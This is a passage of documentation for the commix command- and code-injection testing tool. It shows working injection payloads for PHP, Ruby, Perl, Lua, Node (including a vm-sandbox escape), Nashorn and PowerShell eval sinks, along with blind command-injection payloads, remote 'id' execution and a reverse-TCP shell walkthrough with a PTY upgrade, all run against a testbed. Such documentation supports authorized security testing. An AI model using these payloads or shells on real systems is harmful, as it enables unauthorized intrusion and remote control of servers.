Given on its own it covers every language that is supported - currently php, python, ruby, javascript, powershell, perl and lua. Naming one (e.g. --eval="php") limits it to that language; short names are accepted, so --eval="py" and --eval="python" are the same, as they are for --interpreter - --eval="rb"/--eval="ruby", --eval="js"/--eval="javascript", --eval="ps"/--eval="powershell" and --eval="pl"/--eval="perl" likewise - lua is short enough that it needs no abbreviation of its own.
Note
- Every technique reaches the code injection sink, so
--evalon its own tests all of them - results-based and blind code injection - and the out-of-band channel carries whichever sink it is given too. - Naming none probes each supported language in turn, stopping at the first that answers, because nothing the target says identifies which language is evaluating the string. Where the heuristic recognises one, the techniques that follow speak that one rather than searching again - so the cost of the sweep is paid once, in the heuristic, and not again per technique.
- When the heuristic test sees a parameter reaching such a function and this switch was not given, commix says so and asks whether to test for it; answering no carries on with the command injection tests.
- A shell reads a command substitution the same way an evaluated language does, so a parameter that only reaches a shell can still answer a code injection payload. Where the parameter proves injectable and nothing identified an evaluation sink, commix says so and suggests re-running without the switch, which tells the two apart.
-
--technique="e"selected this before the switch existed; it is no longer accepted, and this switch replaces it. - Some tamper scripts apply to an evaluation sink alone, rewriting the function a payload calls rather than the command it runs -
phphexname,phpconcatandphpserverheadersforPHP,pyhexnameforPython. They are skipped where the sink is a shell. - A sink evaluated by
preg_replace()'semodifier reads its replacement for backreferences before it evaluates anything, so a payload reaches it with every\it is written with already spent: a command writtenprintf '\141\142\143'arrived asprintf '123'.phpregreplacewrites them so they arrive as themselves, and is only needed for that shape of sink.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/eval.php?user=test" --eval=phpPoC: the boolean-based check calibrates its own string automatically, then the time-based and file-based techniques confirm the same eval() sink:
[info] GET parameter 'user' appears to be injectable via boolean-based blind code injection technique (with --string="Hello, test!").
[info] GET parameter 'user' appears to be injectable via time-based blind code injection technique.
The same sink reached through preg_replace()'s e modifier, where the pattern is the parameter
carrying the modifier and the replacement is what gets evaluated:
python commix.py --url="http://commix-testbed/scenarios/regular/GET/preg_replace.php?replace=/.%2B/e&with=1" -p with --eval=php --tamper=phpregreplaceNote
- The sink replaces the whole of what it was given, so the payload stands in place of the
parameter's own value rather than behind it, and the page a true answer returns is a page of
its own rather than the one that value returns. The boolean-based check calibrates on the two
answers themselves and reports the string it learned (
--string="<b></b>"), which is what the next run can be told instead of learning it again. - A tamper script is what this sink needs, and any tamper script at all moves the
PHPpayload onto the backtick operator, which the interpreter reads before the shell does. A$, a backtick or a backslash of the command's own is written for that reading, so the shell is handed the character either way - the same holds for--eval=ruby, whose own operator reads#{...}in the same place.
PoC (verified against http://localhost:8080):
Identified the following injection point(s) with a total of 206 HTTP(S) requests:
Parameter: with (GET)
* Technique: Results-based
* Type: Classic code injection
* Payload: print(`echo HBWMAU`.`echo $((92+90))`.`echo HBWMAU`.`echo HBWMAU`)
Web application technology: 'Apache 2.4.7, PHP 5.5.9'
Command shell type: 'POSIX'
[info] Executing operating system command: 'id'.
Execution output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
ruby reaches the same shape of sink through Ruby's own eval:
python commix.py --url="http://commix-testbed/scenarios/ruby/eval.rb" --data="user=test" --eval=ruby --technique=r --os-cmd="id"PoC (verified against http://localhost:8080):
Identified the following injection point(s) with a total of 14 HTTP(S) requests:
Parameter: user (POST)
* Technique: Results-based
* Type: Classic code injection
* Payload: test'+`echo XGTIFG`+`echo $((0+71))`+`echo XGTIFG`+`echo XGTIFG`+'
Web application technology: 'Apache 2.4.7, RB'
Command shell type: 'POSIX'
[info] Executing operating system command: 'id'.
Execution output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
perl reaches the same shape of sink through Perl's own eval:
python commix.py --url="http://commix-testbed/scenarios/perl/eval.pl" --data="user=test" --eval=perl --technique=r --os-cmd="id"Note
Perl's own double-quoted strings and backticks interpolate a bare $name/@array, including the
handful of one-punctuation-character special variables ($(, $0, ...) - so the grammar embeds
a payload's command inside ${\"..."}, interpolating one Perl expression's own value as-is rather
than reading its text for more of either to interpolate.
PoC (verified against http://localhost:8080):
Identified the following injection point(s) with a total of 12 HTTP(S) requests:
Parameter: user (POST)
* Technique: Results-based
* Type: Classic code injection
* Payload: test'.`${\"echo RXVTKZ"}`.`${\"echo $((87+78))"}`.`${\"echo RXVTKZ"}`.`${\"echo RXVTKZ"}`.'
Web application technology: 'Apache 2.4.7, PL'
Command shell type: 'POSIX'
[info] Executing operating system command: 'id'.
Execution output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
lua reaches the same shape of sink, compiled and run with load/loadstring:
python commix.py --url="http://commix-testbed/scenarios/lua/eval.lua" --data="user=test" --eval=lua --technique=r --os-cmd="id"Note
Lua strings never interpolate anything they hold - no $name the way Perl reads one, no #{} the
way Ruby does - so the grammar embeds a payload's command straight into io.popen("...") with
nothing but its own backslash and closing quote escaped. The one thing this grammar does have to
guard is .. itself: it binds tighter than and/or, so halt()'s own stand-in for a ternary is
wrapped whole, or the payload's own concatenation around it would reach past the or into just
one side of it.
PoC (verified against http://localhost:8080):
Identified the following injection point(s) with a total of 10 HTTP(S) requests:
Parameter: user (POST)
* Technique: Results-based
* Type: Classic code injection
* Payload: test'..io.popen("echo PANQUC"):read("*a")..io.popen("echo $((53+28))"):read("*a")..io.popen("echo PANQUC"):read("*a")..io.popen("echo PANQUC"):read("*a")..'
Web application technology: 'Apache 2.4.7, LUA'
Command shell type: 'POSIX'
[info] Executing operating system command: 'id'.
Execution output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
javascript reaches the same shape of sink through Node's own eval. This one scenario is served
by its own Node process on a different port from the rest of the testbed, not by its Apache - the
base image's glibc predates any Node build that would still run there:
python commix.py --url="http://localhost:8087/" --data="user=test" --eval=javascript --technique=r --os-cmd="id"PoC (verified against http://localhost:8087):
Identified the following injection point(s) with a total of 15 HTTP(S) requests:
Parameter: user (POST)
* Technique: Results-based
* Type: Classic code injection
* Payload: test'+require("child_process").execSync("echo UECZOO").toString()+require("child_process").execSync("echo $((97+84))").toString()+require("child_process").execSync("echo UECZOO").toString()+require("child_process").execSync("echo UECZOO").toString()+'
Command shell type: 'POSIX'
[info] Executing operating system command: 'id'.
Execution output: 'uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)'
The same grammar also reaches a Node sink that is not a plain eval(): one evaluating inside a vm
sandbox, where require is simply not among the globals the sandbox was given. What the sandbox
cannot take away is the prototype chain of the values passed into it, so a function constructor
reached through it returns one compiled outside the sandbox, where process is in scope again -
which is what --tamper=jsvmescape
writes in require()'s place:
python commix.py --url="http://localhost:8087/vm-sandbox" --data="rule=0" --eval=javascript --tamper=jsvmescape --technique=r --os-cmd="id"PoC (verified against http://localhost:8087):
Identified the following injection point(s) with a total of 24 HTTP(S) requests:
Parameter: rule (POST)
* Technique: Results-based
* Type: Classic code injection
* Payload: 0+this.constructor.constructor("return process")().mainModule.require("child_process").execSync("echo DKZEWX").toString()+this.constructor.constructor("return process")().mainModule.require("child_process").execSync("echo $((24+60))").toString()+this.constructor.constructor("return process")().mainModule.require("child_process").execSync("echo DKZEWX").toString()+this.constructor.constructor("return process")().mainModule.require("child_process").execSync("echo DKZEWX").toString()
[info] Executing operating system command: 'id'.
Execution output: 'uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)'
The same javascript grammar also reaches a sink that is not Node at all: Java's own Nashorn engine
parses the same syntax. That scenario is served by its own JDK process on another port again, for a
reason of its own - Nashorn shipped with the JDK from 8 to 14 and was removed in 15, while the newest
JDK the testbed's base image can install is 7, which never had it. Two of the things the grammar
writes are newer than the ECMAScript version Nashorn implements, and require() resolves to nothing
outside Node, so this sink is reached with --tamper=nashornexec:
python commix.py --url="http://localhost:8088/" --data="rule=1" --eval=javascript --tamper=nashornexec --technique=r --os-cmd="id"PoC (verified against http://localhost:8088):
Identified the following injection point(s) with a total of 24 HTTP(S) requests:
Parameter: rule (POST)
* Technique: Results-based
* Type: Classic code injection
* Payload: 1+(function(m){if(m=="child_process")return{execSync:function(c){ ... }};if(m=="fs")return{readFileSync:function(p){ ... }};})("child_process").execSync("echo QTAUEK").toString()+ ...
[info] Executing operating system command: 'id'.
Execution output: 'uid=0(root) gid=0(root) groups=0(root)'
Note
The shim above is written out once per command the payload runs, so the real payload carries four copies of it - abbreviated here, since nothing after the first adds anything to read.
powershell reaches a PowerShell Invoke-Expression sink the same way. It is the one language here
where Invoke-Expression is not how the grammar itself runs a command: that cmdlet reads a string as
PowerShell's own syntax, not as a pass-through to whatever shell the target's default one is, so a
command built for that shell (cmd.exe's for /f loops, or a POSIX one's $(...)) is shelled out to
directly instead (cmd /c on Windows; elsewhere /bin/sh is started and handed the command on its
input, its output read straight off the pipe - collected through Out-String instead, every line
break came back rewritten and a carriage return of the output's own was lost). It is also the one language whose
comparison operators are worded (-eq, -ne, ...) rather than symbolic (==, !=, ...), which the
boolean-based, time-based and tempfile-based techniques now ask each grammar for by name rather than
assuming:
python commix.py --url="http://TARGET/eval.ps1" --data="name=test" --eval=powershell --os-cmd="id"Verified directly against a live Invoke-Expression sink (a stable multi-request PowerShell
HTTP target was not available in the environment this was built in, so the payloads below were
confirmed by feeding commix's own generated strings straight into PowerShell 7, rather than captured
from a full CLI run):
Boolean-based, condition true: test'+$(if ([System.Text.Encoding]::UTF8.GetByteCount(($($i=New-Object Diagnostics.ProcessStartInfo;$i.FileName='/bin/sh';$i.RedirectStandardInput=$true;$i.RedirectStandardOutput=$true;$i.UseShellExecute=$false;$p=[Diagnostics.Process]::Start($i);$p.StandardInput.Write('exec 2>&1;'+'echo TAG');$p.StandardInput.Close();$p.StandardOutput.ReadToEnd())).TrimEnd([char]10)) -eq 3) { '' } else { throw 'x' })+'
-> Hello, test!
Boolean-based, condition false: test'+$(if ([System.Text.Encoding]::UTF8.GetByteCount(($($i=New-Object Diagnostics.ProcessStartInfo;$i.FileName='/bin/sh';$i.RedirectStandardInput=$true;$i.RedirectStandardOutput=$true;$i.UseShellExecute=$false;$p=[Diagnostics.Process]::Start($i);$p.StandardInput.Write('exec 2>&1;'+'echo TAG');$p.StandardInput.Close();$p.StandardOutput.ReadToEnd())).TrimEnd([char]10)) -eq 4) { '' } else { throw 'x' })+'
-> Exception: x
Results-based, cmd_execution: test'+$(...'exec 2>&1;'+'echo TAG'...)+$(...'echo TAG'...)+$(...'id'...)+$(...'echo TAG'...)+$(...'echo TAG'...)+'
-> Hello, testTAG
TAG
uid=0(root) gid=0(root) groups=0(root)
TAG
TAG
!
Note
- Each
$(...)in the results-based line is the same reader the boolean-based lines carry in full, abbreviated to the command it is handed. The answer keeps the output's own line breaks. -
('+'/'+') is the boundary this closes a single-quoted context with - the same'prefix and suffix--level=3already brute-forces for every other language. - Time-based delays through
Start-Sleep, and stops the page (rather than exiting the whole process) by throwing where the condition does not hold - a long-running PowerShell host keeps serving the next request either way, unlike one asked to exit outright.
Option: --skip-technique=TECH
This option allows you to exclude specific command injection techniques from the scanning process. By skipping techniques that are known to cause false positives, instability, or undesired side effects on the target system, you can make your testing more precise, efficient, and safer.
Note
- You can skip one or multiple techniques (e.g.,
--skip-technique="tf").
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --skip-technique="tf"PoC: only results-based and boolean-based are found - time-based and file-based never run:
Identified the following injection point(s) with a total of 18 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Results-based
* Type: Classic command injection
* Payload: 127.0.0.1;echo UYSJFQ$((49+83))$(echo UYSJFQ)UYSJFQ;
* Technique: Boolean-based
* Type: Blind command injection
* Payload: 127.0.0.1;KKJI=$(echo QHLEVK);if [ ${#KKJI} -eq 6 ];then echo KHOBAM;fi;
Options: --test-filter=TEST_FILTER, --test-skip=TEST_SKIP
A technique does not send one payload. It sends the same payload wrapped in every boundary it has - and a boundary is a combination of four things: a command separator (;, &, &&, |, ||, a newline, a carriage return), a prefix placed before it to close whatever the value sits inside (nothing, a separator, ', "), a suffix placed after it, and the whitespace character between them. Every one of those combinations is a separate request. These two options decide which of them are sent.
This sits one level below --technique. That option, with --skip-technique, decides which techniques run; these decide what each running technique actually puts on the wire. The two are kept apart: naming a technique here is refused and points at the option for it, rather than quietly repeating or contradicting it.
-
--test-filtersends only the boundaries that match what it is given, and nothing else. -
--test-skipsends everything except the boundaries that match.
What a value is matched against. For each boundary, commix builds a line out of the boundary's own characters - prefix, separator and suffix run together - and its whitespace character, each also in percent-encoded form. The value is searched for in that line, ignoring case:
| Value | Matches |
|---|---|
";" |
every boundary whose prefix, separator or suffix is a semicolon |
"&&" |
the && boundaries, but not the single & ones |
"&" |
both the & and the && boundaries, since one contains the other |
"%0a" |
the newline boundaries, matched through their encoded form |
"'" |
every boundary that closes a single-quoted value (level 3 only) |
Several values are given by comma, the way every other list of values is - a boundary matching any one of them counts as matched:
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --test-filter=";" --technique=r
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --test-skip="%0a" --technique=r
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --test-skip=";,&,%0a"PoC (--technique=r restricting the run to one technique so the request count below is meaningful on its own): with --test-filter=";", only the semicolon boundaries are sent and the point is confirmed in 7 requests rather than the dozens a full sweep costs:
Identified the following injection point(s) with a total of 7 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Results-based
* Type: Classic command injection
* Payload: 127.0.0.1;echo DJTSZR$((45+10))$(echo DJTSZR)DJTSZR;
--test-skip="%0a" still finds it, since the semicolon boundary it fell back on was never excluded:
Identified the following injection point(s) with a total of 7 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Results-based
* Type: Classic command injection
* Payload: 127.0.0.1;echo TDXGFO$((2+14))$(echo TDXGFO)TDXGFO;
To narrow both at once, use each option for what it is for:
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --technique="t" --test-filter="|"PoC: the time-based technique is confirmed with a pipe-boundary payload only, since the filter left it as the sole option:
Identified the following injection point(s) with a total of 44 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Time-based
* Type: Blind command injection
* Payload: 127.0.0.1|[ 6 -ne $(printf '%s' "EZXFUZ" | wc -c) ]||sleep 5|:
When this is worth reaching for. Where the shape of a request is constrained by something other than the target: a proxy in front of the application that rejects a newline, a value that ends up somewhere a semicolon cannot travel, or a boundary already known to work that is worth going straight back to. It also cuts the number of requests a run spends, which matters against a target being tested gently.
Note
- Each value is read as a regular expression where it is one, and as the plain characters it is made of where it is not.
--test-filter="|"therefore selects the pipe boundaries rather than matching everything, and--test-skip="$("is the substitution boundary rather than an error. - Two of the separators are a newline and a carriage return, which cannot be typed on a command line as themselves. They are matched through their encoded form, so
--test-skip="%0a"is what drops the newline one. - Which boundaries exist at all is decided by
--level: the quote prefixes and suffixes only come into play at level 3. Filtering for one the current level does not have simply leaves nothing to send. - A run that finds nothing while one of these is in force says so, because a boundary that was never sent cannot have been answered.
Option: --maxlen=MAXLEN
This option defines the maximum length of output data to be retrieved during time-based delay injection techniques. By limiting the size of extracted data (default is 10000 characters), it helps prevent excessively long response times that could slow down the scan or cause timeouts. Using this option ensures more efficient scanning by balancing thoroughness with practical time constraints, especially when extracting large amounts of data via timing delay injection methods.
Note
- Decreasing this value can speed up scans but may truncate output.
- Increasing it may slow the scan and risk longer delays on slow or unstable targets.
- This caps the reading, not the finding: the output's length is worked out in full first, so a run past the cap knows how long the output really is and says so - "the output is N characters long, and this run reads M of them" - then reads the first M. What is handed back is the start of a length stated outright, rather than a shorter output that would read like a whole one.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --technique=t --maxlen=500 PoC (--technique=t isolating the time-based technique this option applies to): runs and confirms the time-based point exactly as a plain scan would - the cap only bites once extraction actually reaches that length, which a single short command does not:
Identified the following injection point(s) with a total of 45 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Time-based
* Type: Blind command injection
* Payload: 127.0.0.1;VHTE=$(echo VQUXEX);VHTE1=${#VHTE};sleep $((5*(6==$VHTE1)));
Option: --time-sec=SECONDS
This option specifies the time delay used in timing delay injection payloads to measure response time differences. It defines the duration the target server is instructed to pause, enabling accurate detection of timing delay vulnerabilities.
Important
The option applies only to the time-related techniques - time-based and tempfile-based - because those are the two that infer the answer from how long the response takes. It has no effect on the results-based, file-based or out-of-band techniques, which read the output instead of timing it, so setting it while running only those changes nothing.
Note
- The default is
0, which means the delay is derived from the target rather than fixed: it is raised to a minimum safe delay based on the target's own measured response time, and auto-increased further if the responses turn out to be inconsistent. - A value you set is treated as a floor, not an override. If it is below the minimum safe delay, the safe delay is used instead and a
debugline reports the value actually in force. - Before the first timing comparison, a baseline of clean response times is sampled so that a delay is judged against the target's normal latency rather than a fixed threshold.
- The payloads count the delay in whole seconds, so the option takes a whole number: a fractional value (e.g.
2.5) is refused on the command line rather than adjusted.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --time-sec=5PoC: left unrestricted, all four techniques confirm, the value baked straight into the sleep condition of the time-based and file-based payloads:
Identified the following injection point(s) with a total of 64 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Results-based
* Type: Classic command injection
* Payload: 127.0.0.1;echo NTATIN$((56+4))$(echo NTATIN)NTATIN;
* Technique: Boolean-based
* Type: Blind command injection
* Payload: 127.0.0.1;KVZN=$(echo TCNXDG);if [ ${#KVZN} -eq 6 ];then echo UVKESD;fi;
* Technique: Time-based
* Type: Blind command injection
* Payload: 127.0.0.1;KVZN=$(echo USUTRU);KVZN1=${#KVZN};sleep $((5*(6==$KVZN1)));
* Technique: File-based
* Type: Blind command injection
* Payload: 127.0.0.1;echo PKKEKZ >/var/www/html/PKKEKZ.txt;
Option: --tmp-path=PATH
This option sets the absolute path to the temporary directory on the web server, used for file upload or write operations. It ensures that commix can correctly locate a writable directory for storing files during exploitation attempts.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --tmp-path="/tmp"PoC: left unrestricted, all four techniques confirm. This scenario's document root is reachable and writable, though, so the file-based technique writes and reads its marker straight through the web root as it would without this option at all - the named path is only ever consulted as the tempfile-based fallback, for a target whose web root cannot be found or written to:
Identified the following injection point(s) with a total of 63 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Results-based
* Type: Classic command injection
* Payload: 127.0.0.1;echo PODAQH$((15+43))$(echo PODAQH)PODAQH;
* Technique: Boolean-based
* Type: Blind command injection
* Payload: 127.0.0.1;RRTK=$(echo UMCGTP);if [ ${#RRTK} -eq 6 ];then echo HEOUUJ;fi;
* Technique: Time-based
* Type: Blind command injection
* Payload: 127.0.0.1;RRTK=$(echo ACMFKN);RRTK1=${#RRTK};sleep $((5*(6==$RRTK1)));
* Technique: File-based
* Type: Blind command injection
* Payload: 127.0.0.1;echo RLVLOO >/var/www/html/RLVLOO.txt;
Option: --web-root=PATH
This option defines the web server's document root directory to assist with file write or upload operations. It helps commix accurately place files within the web-accessible directory structure during exploitation.
Note
- Given nothing, commix starts from the document root the recognised web server keeps by default -
Apache,nginx,Microsoft-IIS,Tomcat,Jetty,Caddy,LiteSpeed,openrestyandlighttpdare each known by the one they use, on the operating system that was identified. Name this option where the target keeps its own somewhere else. - A stored finding names the document root it was found with, and that path is written into the
payload itself. Resuming it with a different
--web-rootcannot honour the new one by replaying that payload as is - it would write to the old directory and the new one in the same request. So commix drops the stored file-based finding instead and detects it again fresh, against the directory just given. -
--tmp-path,--interpreterand--time-secare each a stored payload is built around the same way, but are not re-detected on a conflict - commix says which value the stored finding uses and replays it with that, rather than leaving the value given now to look as though it were in use. Use--flush-sessionto test a new one of these instead.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --web-root="/var/www/html"PoC (with the container's real document root /var/www/commix-testbed.com/public_html): commix asks before trying the file-based technique against the named root, and the results-based point is still found regardless of the answer:
Due to the provided '--web-root' option, do you want to proceed with the (blind) file-based injection technique? [y/N] N
[info] GET parameter 'addr' appears to be injectable via results-based classic command injection technique.
PoC of the stored-session conflict (same target, --technique=F): a first run stores the file-based finding against the real document root. Resuming it with a different --web-root drops that finding and detects it again fresh, against the directory just given, instead of silently replaying the old one:
[warning] The stored session was found using the document root '/var/www/commix-testbed.com/public_html/', which differs from the '--web-root' value provided now ('/var/www/commix-testbed.com/public_html/__altroot'). Forcing a fresh detection of the file-based technique to use it.
Do you want to use a random file 'ZBBMWM.txt' to receive the execution output? [Y/n] Y
[payload] ;echo ZBBMWM >/var/www/commix-testbed.com/public_html/__altroot/ZBBMWM.txt;
Where no --web-root is named and the recognised web server's own default does not hold up, commix no longer asks for a single directory outright - it works through a short sequence first, each step cheaper than the next:
- Checked against the target, if the document root was already guessed from the server's banner - the guess is tried as is before anything is asked.
-
Asked of the target, where a technique whose output comes back - results-based, or code injection through
--eval- is already confirmed on the parameter. The directory the script runs in is one command away, and the URL says how far under the document root that script sits, so the root is what is left of the one with the other taken off its end. An answer the target gives about itself beats any candidate, and it costs a single request - asked only where the document root is actually needed, so a run that never reaches the file-based technique never pays for it. Where the two do not line up - an alias, a rewrite, a script reached by a path it is not stored under - nothing is taken from it and the steps below run as they would have. -
Derived from a leaked path, if the target's own front page has already printed an absolute file path of its own (a PHP warning, a stack trace). The path is cut at a generic document-root directory name such as
public_html,htdocs,wwworwwwroot, or at the target's own hostname where the root is named after it; failing both, the URL's own path is taken off the end of it, which leaves the root the same way the script's directory does above. A Windows path is read with its drive letter and handed back written the way the target writes its own. -
A four-choice menu, once none of the above holds:
[1] Common location(s) [2] Custom location(s) [3] Custom directory list file [4] Brute force search[1]tries a short built-in list of common document roots for the target's operating system (/var/www/html,/var/www,C:\inetpub\wwwroot, and the like).[2]reads a comma-separated list typed in on the spot.[3]reads one absolute path per line from a file.[4]builds every combination of a wider set of root names under common parent directories - virtual-host layouts and macOS among them - and tries them in turn. Whichever list is chosen, every candidate directory in it is tried before commix gives up on the document root and falls back to a temporary directory instead - the same fallback--failed-triesgoverns.
--answers matches this menu the same way it matches any other free-text prompt commix shows - by a substring of the question and its options, e.g. --answers="directory paths=/var/www/html,/srv/www" for choice [2].
PoC (--batch, no --web-root, against a page whose output comes back): the results-based technique is confirmed first, so the root is asked of the target rather than chosen from a list - no menu, and the file is written to the document root the target itself named:
[info] Testing the file-based blind command injection technique, please wait...
[info] Retrieved the web server document root: '/var/www/commix-testbed.com/public_html/'.
[info] Attempting to create a file in a writable directory for execution output.
Do you want to use a random file ('MAFBIA.txt') to receive the execution output? [Y/n] Y
Do you want to use the URL 'http://localhost:8080/MAFBIA.txt' to receive the execution output? [Y/n] Y
[info] Continue testing the file-based blind command injection technique, please wait... (done)
[info] GET parameter 'addr' appears to be injectable via file-based blind command injection technique.
PoC (--batch, no --web-root, against a page that answers with nothing): this scenario throws its output away, so no technique that could carry the question is confirmed and nothing is leaked either - the menu is shown, and --batch picks the default, [1]:
[info] Testing the file-based blind command injection technique, please wait...
[warning] Unable to automatically retrieve the web server document root.
What do you want to use for the writable directory?
[1] Common location(s) ('/var/www/html/', '/var/www/localhost/public_html/', '/var/www/localhost/', ..., 10 total) (default)
[2] Custom location(s)
[3] Custom directory list file
[4] Brute force search
> 1
[info] Attempting to create a file in common location(s) for execution output.
Do you want to use a random file ('GDYBKQ.txt') to receive the execution output? [Y/n] Y
[info] GET parameter 'addr' appears to be injectable via file-based blind command injection technique.
Where none of the directories in the chosen list can be written to, every one of them is tried before commix gives up on the document root and offers a temporary directory instead.
Option: --interpreter=INTERPRETER
This option builds both detection and exploitation payloads with an alternative interpreter instead of native OS shell syntax. This is particularly useful when the default system shell is restricted or unavailable. Currently, commix supports Python, named either way round - --interpreter="py" and --interpreter="python" are the same, as they are for --eval. By leveraging the Python interpreter, which is commonly present on many systems, commix can bypass certain command execution limitations imposed by security controls or system configurations.
Note
- Before using this option, ensure that the target system has
Pythoninstalled and accessible. - The alternative interpreter paths are experimental and are not supported by every technique.
python commix.py --url="http://commix-testbed/scenarios/stateful/interpreter.php?addr=127.0.0.1" --interpreter="python"PoC: this scenario denylists $(( and a backtick -
exactly the notation commix's own arithmetic proof otherwise relies on - and lets everything else
through unchanged. --interpreter=python routes the proof through python3 -c instead, and all
four techniques confirm (the time-based and file-based payloads join import time and
time.sleep(...) with a real carriage return, which is why they visually overlap on a real
terminal):
Identified the following injection point(s) with a total of 64 HTTP(S) requests:
Parameter: addr (GET)
* Technique: Results-based
* Type: Classic command injection
* Payload: 127.0.0.1;python3 -c "print('BYHVRN'+str(int(24+86))+'BYHVRN'+'BYHVRN')";
* Technique: Boolean-based
* Type: Blind command injection
* Payload: 127.0.0.1;UPOG=$(echo MHTPIH);if [ ${#UPOG} -eq 6 ];then echo UIFBMX;fi;
* Technique: Time-based
* Type: Blind command injection
* Payload: 127.0.0.1|[ 6 -ne $(python3 -c "print(len('SWRDZG'))") ] ||$(python3 -c "import time
time.sleep(0)") |$(python3 -c "import time
time.sleep(5)")|:
* Technique: File-based
* Type: Blind command injection
* Payload: 127.0.0.1|$(python3 -c "f=open('/var/www/html/FXNAQR.txt','w')
f.write('FXNAQR')
f.close()
")|:
Option: --os-cmd=COMMAND
This option instructs commix to execute a single operating system command on the target if a command injection vulnerability is confirmed. Rather than launching an interactive shell, it performs one-off command execution and displays the command output directly in the console.
On a cmd.exe target the command cannot carry a double quote. It is written into the for /f
clause the output is read back through, and a quote of its own closes that clause rather than
reaching the shell, so the command never runs - doubling it, escaping it with a caret and writing
the clause in its backquoted form were each tried against a cmd.exe and none of them carries it.
commix says so rather than reporting an empty answer. A single quote is carried perfectly well; a
caret is not, cmd.exe reading it as its own escape character and dropping it.
It can be useful for:
- Quickly verifying exploitability of a suspected injection point.
- Extracting specific data (e.g., file contents, system info) in a non-interactive manner.
- Reducing noise during stealthy testing or proof-of-concept phases.
Note
- Output is limited to that of a single command.
- Some complex commands requiring interactive input or long execution may not behave as expected.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-cmd="uname -a"PoC:
[info] Executing operating system command: 'uname -a'.
Execution output: 'Linux b43589606d43 6.12.76-linuxkit #1 SMP Fri Apr 17 14:56:37 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux'
Switch: --os-shell
This option opens an interactive pseudo-terminal on the target once a command injection vulnerability is confirmed, instead of executing a single command and exiting. The shell starts in the os_shell mode and can switch to the reverse and bind TCP modes, as described in Getting shells.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shellPoC: once the point is confirmed, the interactive shell starts in os_shell mode - a scripted whoami then quit through it shows the prompt and a command actually running:
[info] Enabling the command shell.
Command shell (type '?' for help)
[info] Selected (default) mode: 'os_shell'.
commix(os_shell) >
Execution output: 'www-data'
commix(os_shell) >
Switch: --pty
Important
--pty does nothing by itself in os_shell mode - os_shell sends each command as its own HTTP request through the injection point, with no persistent connection to upgrade. It only applies once you switch to reverse_tcp or bind_tcp mode and the built-in handler (not Metasploit, not an external nc) catches that session. Adding --pty alongside --os-shell on the command line is not enough on its own - see the walkthrough below for the commands that actually reach it.
This option takes the built-in handler's own reverse/bind TCP relay (a plain, non-Meterpreter shell - netcat, PHP, Perl, Python, Ruby, socat) and upgrades it from a line-buffered pipe into a real interactive terminal. The instant the session opens, commix sends a chain of python3/python + pty.spawn('/bin/bash')/pty.spawn('/bin/sh') attempts over the socket (whichever exists on the target wins), then puts the local terminal into raw mode and relays bytes straight through - full job control, tab-completion, command history, and a working vim/less/top on the other end, the same as a direct SSH session.
Because Ctrl-C now reaches the remote shell instead of interrupting commix, Ctrl-] (telnet's own escape byte) ends the session and returns to commix. It is Unix-target only - there is no pty module on Windows for the upgrade command to use - and it falls back to the plain line-buffered relay (with a warning, not an error) on a Windows target or where this end has no real POSIX terminal to put into raw mode.
python commix.py --url="http://commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --os-shell --ptyReaching it, once os_shell opens (the part that actually matters - everything up to here only carries the switch through to where it is used):
commix(os_shell) > use reverse_tcp
commix(reverse_tcp) > set LHOST 10.10.14.5
commix(reverse_tcp) > set LPORT 4444
commix(reverse_tcp) > set payload python
commix(reverse_tcp/python) > run
Do you want to use the built-in handler to catch this shell (instead of an external listener)? [y/N] y
[info] Started reverse TCP handler on 10.10.14.5:4444.
[info] Session opened (10.10.14.5:4444 -> 203.0.113.9:51514).
[info] Upgraded to a full PTY ('--pty'). Ctrl-] ends the session and returns here.
use bind_tcp instead of reverse_tcp reaches the same upgrade the same way, against set RHOST/set LPORT on the target's own listener.
Mechanics verified with a simulated connection (a real socket.socketpair() standing in for the network link, a background thread standing in for the remote shell, a pipe standing in for stdin - no real target was available to type into interactively here):
[info] Upgraded to a full PTY ('--pty'). Ctrl-] ends the session and returns here.
REMOTE SAW UPGRADE CMD: python3 -c "import pty; pty.spawn('/bin/bash')" 2>/dev/null || python3 -c "import pty; pty.spawn('/bin/sh')" 2>/dev/null || python -c "import pty; pty.spawn('/bin/bash')" 2>/dev/null || python -c "import pty; pty.spawn('/bin/sh')" 2>/dev/null
REMOTE SAW TYPED COMMAND: whoami
Typed input reached the simulated remote byte-for-byte, its output reached local stdout byte-for-byte, and Ctrl-] cleanly ended the relay thread.
Note
- Only the built-in handler's own relay can be upgraded - a Meterpreter session already has its own (better) terminal handling through Metasploit, and an external listener (
